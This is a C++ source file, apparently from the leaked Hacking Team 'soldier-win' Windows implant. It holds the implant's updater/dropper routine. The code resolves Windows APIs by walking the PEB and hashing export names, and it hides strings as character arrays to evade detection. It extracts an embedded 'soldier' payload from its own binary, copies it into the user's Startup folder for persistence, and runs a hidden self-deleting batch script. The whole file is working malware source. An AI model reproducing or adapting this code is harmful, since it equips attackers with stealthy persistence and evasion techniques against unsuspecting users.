hackedteam/soldier-win

View on GitHub
Updater/Updater.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <winternl.h>
#include <ShlObj.h>

#include "winapi.h"
#include "Updater.h"

#pragma section(".loader", read,execute)
#pragma code_seg(".loader")

#define FAST_KERNEL32_HANDLE
#define FAST_POINTERS
#define MAX_FILE_NAME 32766


int Updater()
{
    VTABLE lpTable;
    if (!GetVTable(&lpTable))
        return FALSE;

    // if I am in startup and the name is the same, then replace batch
    // else just copy to startup (and check if succeded)

    LPSTR strTempFile = GetTempFile(&lpTable);
    if (strTempFile == NULL)
        return FALSE;

    DWORD dwFileSize;
    LPSTR strSoldierName;
    LPBYTE lpBuffer = FindSoldier(&dwFileSize, &strSoldierName);

    DWORD dwOut;
    HANDLE hFile = lpTable.CreateFileA(strTempFile, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE || lpBuffer == NULL)
    {
        lpTable.VirtualFree(strTempFile, 0, MEM_RELEASE);
        return FALSE;
    }
    lpTable.WriteFile(hFile, lpBuffer, dwFileSize, &dwOut, NULL);
    lpTable.CloseHandle(hFile);

    CHAR strSep[] = { '\\', 0x0 };
    CHAR strExt[] = { '.' , 'e', 'x', 'e', 0x0 };

    LPSTR strStartupPath = GetStartupPath(&lpTable);
    __STRCAT__(strStartupPath, strSep);
    __STRCAT__(strStartupPath, strSoldierName);
    __STRCAT__(strStartupPath, strExt);

    LPSTR strBatchName;
    if (!CreateReplaceBatch(&lpTable, strTempFile, strStartupPath, &strBatchName))
    {
        lpTable.DeleteFileA(strTempFile);
        lpTable.VirtualFree(strTempFile, 0, MEM_RELEASE);
        return FALSE;
    }

    if (!StartBatch(&lpTable, strBatchName))
    {
        lpTable.DeleteFileA(strTempFile);
        lpTable.DeleteFileA(strBatchName);
    }
    else
        lpTable.ExitProcess(0);

    lpTable.VirtualFree(strTempFile, 0, MEM_RELEASE);

    return TRUE;
}

LPBYTE FindSoldier(LPDWORD dwFileSize, LPSTR *strSoldierName)
{
    LPBYTE lpSoldierBuffer = END_UPDATER();

    while (1)
    {
        if (lpSoldierBuffer[0] == 0xca && lpSoldierBuffer[1] == 0xfe && lpSoldierBuffer[2] == 0xba && lpSoldierBuffer[3] == 0xbe) // 0xcafebabe marker per soldiername
            break;
        
        lpSoldierBuffer++;
    }
    lpSoldierBuffer+=4;
    *strSoldierName = (LPSTR)(lpSoldierBuffer);

    while (*((LPDWORD)lpSoldierBuffer) != 0xfefefefe)
        lpSoldierBuffer++;

    lpSoldierBuffer+=4;
    *dwFileSize = *((LPDWORD)lpSoldierBuffer); // FIXME, check MZ

    return lpSoldierBuffer+5;
}

LPSTR GetMySelfName(__in PVTABLE lpTable)
{
    LPSTR strName = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
    LPSTR strShort = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
    
    lpTable->GetModuleFileNameA(NULL, strName, 32766*2);
    if (!lpTable->GetShortPathNameA(strName, strShort, 32767*2))
    {
        lpTable->VirtualFree(strShort, 0, MEM_RELEASE);
        return strName;
    }

    lpTable->VirtualFree(strName, 0, MEM_RELEASE);
    return strShort;
}


BOOL AmIFromStartup(__in PVTABLE lpTable)
{
    BOOL bRet;
    LPSTR strStartupPath = GetStartupPath(lpTable);
    LPSTR strCurrentPath = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);

    lpTable->GetModuleFileNameA(NULL, strCurrentPath, MAX_FILE_NAME);

    if (lpTable->StrRChrA(strCurrentPath, NULL, L'\\'))
        *(lpTable->StrRChrA(strCurrentPath, NULL, L'\\')) = 0;

    if (__STRCMPI__(strCurrentPath, strStartupPath))
        bRet = FALSE;
    else
        bRet = TRUE;
    
    lpTable->VirtualFree(strStartupPath, 0, MEM_RELEASE);
    lpTable->VirtualFree(strCurrentPath, 0, MEM_RELEASE);
    
    return bRet;
}

LPSTR GetTempDir(__in PVTABLE lpTable)
{
    LPSTR strTemp = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
    LPSTR strShort = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
    
    lpTable->GetTempPathA(MAX_FILE_NAME, strTemp);
    if (lpTable->GetShortPathNameA(strTemp, strShort, MAX_FILE_NAME) == 0)
    {
        lpTable->VirtualFree(strShort, 0, MEM_RELEASE);
        return strTemp;
    }
    
    lpTable->VirtualFree(strTemp, 0, MEM_RELEASE);
    return strShort;
}

LPSTR GetTempFile(__in PVTABLE lpTable)
{
    CHAR strPrefix[] = { L'p', 's', L'\0' };
    LPSTR strTempPath = GetTempDir(lpTable);

    LPSTR strTempFileName = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);    
    if (lpTable->GetTempFileNameA(strTempPath, strPrefix, 0, strTempFileName) == 0)
    {
        lpTable->VirtualFree(strTempFileName, 0, MEM_RELEASE);
        return NULL;
    }
    
    return strTempFileName;
}

LPSTR GetStartupPath(__in PVTABLE lpTable)
{
    LPSTR strStartupPath = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);    
    LPSTR strShortPath = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);    
    
    lpTable->SHGetSpecialFolderPathA(NULL, strStartupPath, CSIDL_STARTUP, FALSE);
    
    if (lpTable->GetShortPathNameA(strStartupPath, strShortPath, 4096) == 0)
    {
        lpTable->VirtualFree(strShortPath, 0, MEM_RELEASE);
        return strStartupPath;
    }

    lpTable->VirtualFree(strStartupPath, 0, MEM_RELEASE);
    return strShortPath;
}

BOOL CreateReplaceBatch(__in PVTABLE lpTable, __in LPSTR strOldFile, __in LPSTR strNewFile, __out LPSTR *strBatchOutName)
{
    BOOL bRet = TRUE;
    DWORD dwOut;

    LPSTR currentSoldierFileName = GetMySelfName(lpTable);

    CHAR strDotBat[] = { '.', 'b', 'a', 't', 0x0 };
    LPSTR strBatchName = GetTempFile(lpTable);
    __STRCAT__(strBatchName, strDotBat);

    LPSTR strBatchBuffer = (LPSTR) lpTable->VirtualAlloc(NULL, (MAX_FILE_NAME+2)*8, MEM_COMMIT, PAGE_READWRITE);

    CHAR strFormat1[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', 0x0 };
    __STRCAT__(strBatchBuffer, strFormat1);
    
    __STRCAT__(strBatchBuffer, currentSoldierFileName);
    //__STRCAT__(strBatchBuffer, strNewFile); 

    CHAR strFormat2[] = { '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', 0x0 };
    __STRCAT__(strBatchBuffer, strFormat2); 

    __STRCAT__(strBatchBuffer, currentSoldierFileName);
    //__STRCAT__(strBatchBuffer, strNewFile); 

    CHAR strFormat3[] = { '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', 0x0 };
    __STRCAT__(strBatchBuffer, strFormat3); 
    __STRCAT__(strBatchBuffer, strOldFile);

    CHAR strFormat4[] = { '"', ' ', '>', ' ', '"', 0x0 };
    __STRCAT__(strBatchBuffer, strFormat4); 
    __STRCAT__(strBatchBuffer, strNewFile);

    CHAR strFormat5[] = { '"', '\r', '\n', 's', 't', 'a', 'r', 't', ' ', '/', 'B', ' ', 'c', 'm', 'd', ' ', '/', 'c', ' ', '"', 0x0 };
    __STRCAT__(strBatchBuffer, strFormat5); 
    __STRCAT__(strBatchBuffer, strNewFile);

    CHAR strFormat6[] = { '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', 0x0 };
    __STRCAT__(strBatchBuffer, strFormat6); 
    __STRCAT__(strBatchBuffer, strOldFile);

    CHAR strFormat7[] = { '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', 0x0 };
    __STRCAT__(strBatchBuffer, strFormat7); 
    __STRCAT__(strBatchBuffer, strBatchName);

    CHAR strFormat8[] = { '"', 0x0 };
    __STRCAT__(strBatchBuffer, strFormat8); 

    HANDLE hFile = lpTable->CreateFileA(strBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        bRet = FALSE;
        lpTable->VirtualFree(strBatchName, 0, MEM_RELEASE);
    }
    else
    {
        lpTable->WriteFile(hFile, strBatchBuffer, __STRLEN__(strBatchBuffer), &dwOut, NULL);
        lpTable->CloseHandle(hFile);
        *strBatchOutName = strBatchName;
    }

    lpTable->VirtualFree(strBatchBuffer, 0, MEM_RELEASE);

    //lpTable->VirtualFree(currentSoldierFileName, 0, MEM_RELEASE);
    return bRet;
}


BOOL StartBatch(__in PVTABLE lpTable, __in LPSTR strName)
{
    BOOL bRet;
        
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    LPSTR pApplicationName = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
    LPSTR pInterpreter = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);

    CHAR strOpts[] = { '/', 'c', L' ', '"', '%', 's', '"', 0x0 };
    CHAR pTempInterpreter[] = { '%', 'S', 'Y', 'S', 'T', 'E', 'M', 'R', 'O', 'O', 'T', '%', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'c', 'm', 'd', '.', 'e', 'x', 'e', 0x0 };
    

    lpTable->ExpandEnvironmentStringsA(pTempInterpreter, pInterpreter, MAX_FILE_NAME);
    lpTable->wnsprintfA(pApplicationName, MAX_FILE_NAME, strOpts, strName);

    for (DWORD i=0; i<sizeof(STARTUPINFO); i++)
        ((LPBYTE)(&si))[i] = 0;

    for (DWORD i=0; i<sizeof(PROCESS_INFORMATION); i++)
        ((LPBYTE)(&pi))[i] = 0;

    
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    
    bRet = lpTable->CreateProcessA(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    lpTable->VirtualFree(pApplicationName, 0, MEM_RELEASE);
    lpTable->VirtualFree(pInterpreter, 0, MEM_RELEASE);
    
    return bRet;
}

DWORD GetStringHash(
    __in LPVOID lpBuffer, 
    __in BOOL bUnicode, 
    __in UINT uLen)
{
    DWORD dwHash = 0;
    LPSTR strBuffer = (LPSTR) lpBuffer;

    while (uLen--)
    {
        dwHash = (dwHash >> 13) | (dwHash << 19);
        dwHash +=  (DWORD)*strBuffer++;

        if (bUnicode)
                strBuffer++;            
    }
    return dwHash;
}


HANDLE GetKernel32Handle()
{
    HANDLE hKernel32 = INVALID_HANDLE_VALUE;
#ifdef _WIN64
    PPEB lpPeb = (PPEB) __readgsqword(0x60);
#else
    PPEB lpPeb = (PPEB) __readfsdword(0x30);
#endif
    PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY pListEntry = pListHead->Flink;    

#ifdef SUX_KERNEL32_HANDLE
    hKernel32 = 
        (CONTAINING_RECORD(pListEntry->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks))->DllBase;
#elif defined FAST_KERNEL32_HANDLE
    while (pListEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pModEntry->FullDllName.Length)
        {
            DWORD dwLen    = pModEntry->FullDllName.Length;
            PWCHAR strName = (pModEntry->FullDllName.Buffer + (dwLen/sizeof(WCHAR))) - 13;

            if (GetStringHash(strName, TRUE, 13) == 0x8fecdbff || GetStringHash(strName, TRUE, 13) == 0x6e2bcfd7 || GetStringHash(strName, TRUE, 13) == 0x6f2bd7f7)
            {
                hKernel32 = pModEntry->DllBase;
                break;
            }
        }
        pListEntry = pListEntry->Flink;
    }
#else
    WCHAR strDllName[MAX_PATH];
    WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\0' };

    while (pListEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pModEntry->FullDllName.Length)
        {
            DWORD dwLen    = pModEntry->FullDllName.Length;

            __MEMCPY__(strDllName, pModEntry->FullDllName.Buffer, dwLen);
            strDllName[dwLen/sizeof(WCHAR)] = L'\0';

            if (__STRSTRIW__(strDllName, strKernel32))
            {
                hKernel32 = pModEntry->DllBase;
                break;
            }
        }
        pListEntry = pListEntry->Flink;
    }

#endif

    return hKernel32;
}

BOOL GetPointers(
    __out PGETPROCADDRESS fpGetProcAddress, 
    __out PLOADLIBRARYA fpLoadLibraryA)
{
    HANDLE hKernel32 = GetKernel32Handle();
    if (hKernel32 == INVALID_HANDLE_VALUE)
        return FALSE;

    LPBYTE lpBaseAddr = (LPBYTE) hKernel32;
    PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER) lpBaseAddr;
    PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS) (lpBaseAddr + lpDosHdr->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) (lpBaseAddr +  pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    LPDWORD pNameArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfNames);
    LPDWORD pAddrArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfFunctions);
    LPWORD pOrdArray  = (LPWORD) (lpBaseAddr+ pExportDir->AddressOfNameOrdinals);

    *fpGetProcAddress = NULL;
    *fpLoadLibraryA = NULL;

#ifdef FAST_POINTERS
    for (UINT i=0; i<pExportDir->NumberOfNames; i++)
    {
        LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);
    
        if (GetStringHash(pFuncName, FALSE, 14) == 0x7c0dfcaa) 
            *fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
        else if (GetStringHash(pFuncName, FALSE, 12) == 0xec0e4e8e)
            *fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
    
        if (*fpGetProcAddress && *fpLoadLibraryA)
            return TRUE;
    }
#else
    CHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 };
    CHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };

    for (UINT i=0; i<pExportDir->NumberOfNames; i++)
    {
        LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);

        if (!__STRCMPI__(pFuncName, strGetProcAddress))
            *fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
        else if (!__STRCMPI__(pFuncName, strLoadLibraryA))
            *fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);

        if (*fpGetProcAddress && *fpLoadLibraryA)
            return TRUE;
    }
#endif

    return FALSE;
}


BOOL GetVTable(__out PVTABLE lpTable)
{
    if (!GetPointers(&lpTable->GetProcAddress, &lpTable->LoadLibraryA))
        return FALSE; // FIXME

    CHAR strKernel32[] = { 'k',  'e',  'r',  'n',  'e',  'l',  '3', '2', 0x0 };
    CHAR strShell32[] = { 's',  'h',  'e',  'l',  'l',  '3',  '2', 0x0 };
    CHAR strShlWapi[] = { 'S',  'h',  'l',  'w',  'a',  'p',  'i', 0x0 };

    CHAR strVirtualAlloc[] = { 'V',  'i',  'r',  't',  'u',  'a',  'l',  'A',  'l',  'l',  'o',  'c', 0x0 };
    CHAR strGetModuleFileNameA[] = { 'G',  'e',  't',  'M',  'o',  'd',  'u',  'l',  'e',  'F',  'i',  'l',  'e',  'N',  'a',  'm',  'e',  'A', 0x0 };
    CHAR strGetTempPathA[] = { 'G',  'e',  't',  'T',  'e',  'm',  'p',  'P',  'a',  't',  'h',  'A', 0x0 };
    CHAR strGetTempFileNameA[] = { 'G',  'e',  't',  'T',  'e',  'm',  'p',  'F',  'i',  'l',  'e',  'N',  'a',  'm',  'e',  'A', 0x0 };
    CHAR strVirtualFree[] = { 'V',  'i',  'r',  't',  'u',  'a',  'l',  'F',  'r',  'e',  'e', 0x0 };
    CHAR strGetShortPathNameA[] = { 'G',  'e',  't',  'S',  'h',  'o',  'r',  't',  'P',  'a',  't',  'h',  'N',  'a',  'm',  'e',  'A', 0x0 };
    CHAR strSHGetSpecialFolderPathA[] = { 'S',  'H',  'G',  'e',  't',  'S',  'p',  'e',  'c',  'i',  'a',  'l',  'F',  'o',  'l',  'd',  'e',  'r',  'P',  'a',  't',  'h',  'A', 0x0 };
    CHAR strStrRChrA[] = { 'S',  't',  'r',  'R',  'C',  'h',  'r',  'A', 0x0 };
    CHAR strCloseHandle[] = { 'C',  'l',  'o',  's',  'e',  'H',  'a',  'n',  'd',  'l',  'e', 0x0 };
    CHAR strCreateFileA[] = { 'C',  'r',  'e',  'a',  't',  'e',  'F',  'i',  'l',  'e',  'A', 0x0 };
    CHAR strDeleteFileA[] = { 'D',  'e',  'l',  'e',  't',  'e',  'F',  'i',  'l',  'e',  'A', 0x0 };
    CHAR strCreateProcessA[] = { 'C',  'r',  'e',  'a',  't',  'e',  'P',  'r',  'o',  'c',  'e',  's',  's',  'A', 0x0 };
    CHAR strSleep[] = { 's', 'l', 'e', 'e', 'p', 0x0 };
    CHAR strExpandEnvironmentStringsA[] = { 'E',  'x',  'p',  'a',  'n',  'd',  'E',  'n',  'v',  'i',  'r',  'o',  'n',  'm',  'e',  'n',  't',  'S',  't',  'r',  'i',  'n',  'g',  's',  'A', 0x0 };
    CHAR strWriteFile[] = { 'W',  'r',  'i',  't',  'e',  'F',  'i',  'l',  'e', 0x0 };
    CHAR strWnsprintfA[] = { 'w',  'n',  's',  'p',  'r',  'i',  'n',  't',  'f',  'A', 0x0 };
    CHAR strExitProcess[] = { 'E',  'x',  'i',  't',  'P',  'r',  'o',  'c',  'e',  's',  's', 0x0 };

    // KERNEL32
    lpTable->VirtualAlloc = (VIRTUALALLOC) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strVirtualAlloc);
    lpTable->VirtualFree = (VIRTUALFREE) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strVirtualFree);
    lpTable->CreateFileA  = (CREATEFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strCreateFileA);
    lpTable->WriteFile  = (WRITEFILE) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strWriteFile);
    lpTable->CloseHandle  = (CLOSEHANDLE) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strCloseHandle);
    lpTable->GetModuleFileNameA = (GETMODULEFILENAMEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strGetModuleFileNameA);
    lpTable->GetShortPathNameA = (GETSHORTPATHNAMEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strGetShortPathNameA);
    lpTable->GetTempPathA= (GETTEMPPATHA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strGetTempPathA);
    lpTable->GetTempFileNameA = (GETTEMPFILENAMEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strGetTempFileNameA);
    lpTable->DeleteFileA = (DELETEFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strDeleteFileA);
    lpTable->CreateProcessA = (CREATEPROCESSA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strCreateProcessA);
    lpTable->Sleep = (SLEEP) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strSleep);
    lpTable->ExpandEnvironmentStringsA = (EXPANDENVIRONMENTSTRINGA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strExpandEnvironmentStringsA);
    lpTable->ExitProcess = (EXITPROCESS) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strExitProcess);

    // SHELL32
    lpTable->SHGetSpecialFolderPathA = (SHGETSPECIALFOLDERPATHA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strShell32), strSHGetSpecialFolderPathA);

    // Shlwapi
    lpTable->StrRChrA = (STRRCHRA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strShlWapi), strStrRChrA);
    lpTable->wnsprintfA = (WNSPRINTFA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strShlWapi), strWnsprintfA);

    return TRUE;
}


UINT __STRLEN__(__in LPSTR lpStr1)
{
    UINT i = 0;
    while(lpStr1[i] != 0x0)
        i++;

    return i;
}

LPSTR __STRCAT__(
    __in LPSTR    strDest, 
    __in LPSTR strSource)
{
    LPSTR d = strDest;
    LPSTR s = strSource;

    while(*d) d++;
    
    do { *d++ = *s++; } while(*s);
    *d = 0x0;

    return strDest;
}

BOOL __ISUPPER__(__in CHAR c) { return ('A' <= c) && (c <= 'Z'); };
CHAR __TOLOWER__(__in CHAR c) { return __ISUPPER__(c) ? c - 'A' + 'a' : c ; };

INT __STRCMPI__(
    __in LPSTR lpStr1, 
    __in LPSTR lpStr2)
{
    int  v;
    CHAR c1, c2;
    do
    {
        c1 = *lpStr1++;
        c2 = *lpStr2++;
        // The casts are necessary when pStr1 is shorter & char is signed 
        v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2);
    }
    while ((v == 0) && (c1 != '\0') && (c2 != '\0') );
    return v;
}

LPBYTE END_UPDATER()
{
    LPBYTE lpBuff;

    __asm
    {
        call get_pc
get_pc:
        pop eax
        mov lpBuff, eax
    }

    return lpBuff;
}